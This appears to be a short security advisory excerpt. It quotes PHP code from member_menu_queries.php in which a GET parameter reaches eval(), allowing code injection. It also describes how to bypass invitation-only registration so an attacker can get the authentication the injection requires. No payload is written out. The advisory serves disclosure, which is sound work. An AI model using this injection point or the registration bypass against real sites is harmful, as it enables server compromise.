  [-] vulnerable code in /member_menu_queries.php
  
  61.case 'get_bubbles_values' :
  62.$sBubbles = ( isset($_GET['bubbles']) ) ?$_GET['bubbles'] : null;
  63.if ( $sBubbles && $iMemberId ) {
  64.
  65.$aMemberInfo= getProfileInfo($iMemberId);
  66.if($aMemberInfo['UserStatus'] != 'offline') {
  67.// update the date of last navigate;
  68.update_date_lastnav($iMemberId);
  69.}
  70.
  71.$aBubbles = array();
  72.$aBubblesItems = explode(',', $sBubbles);
  73.
  74.if ( $aBubblesItems && is_array($aBubblesItems) ) {
  75.$bClearCache = false;
  76.foreach( $aBubblesItems as $sValue)
  77.{
  78.$aItem = explode(':', $sValue);
  79.
  80.$sBubbleCode = null;
  81.foreach($aMenuStructure as $sKey => $aItems)
  82.{
  83.foreach($aItems as $iKey => $aSubItems)
  84.{
  85.if( $aSubItems['Name'] == $aItem[0]) {
  86.$sBubbleCode = $aSubItems['Bubble'];
  87.break;
  88.}
  89.}
  90.
  91.if ($sBubbleCode) {
  92.break;
  93.}
  94.}
  95.
  96.if ($sBubbleCode) {
  97.$sCode= str_replace('{iOldCount}', $aItem[1], $sBubbleCode);
  98.$sCode= str_replace('{ID}', $iMemberId, $sCode);
  99.
  100. eval($sCode);
  
  When handling 'get_bubbles_values' action, input passed through $_GET['bubbles'] isn't properly sanitized
  before being used in a call to eval() at line 100, this can be exploited to inject arbitrary PHP code.
  Successful exploitation of this vulnerability requires authentication, but is always possible to create a
  new account also if 'REGISTRATION BY INVITATION ONLY' is enabled, in this case an attacker could bypass
  the restriction visiting first /index.php?idFriend=1 and after point to /join.php for a new registration.
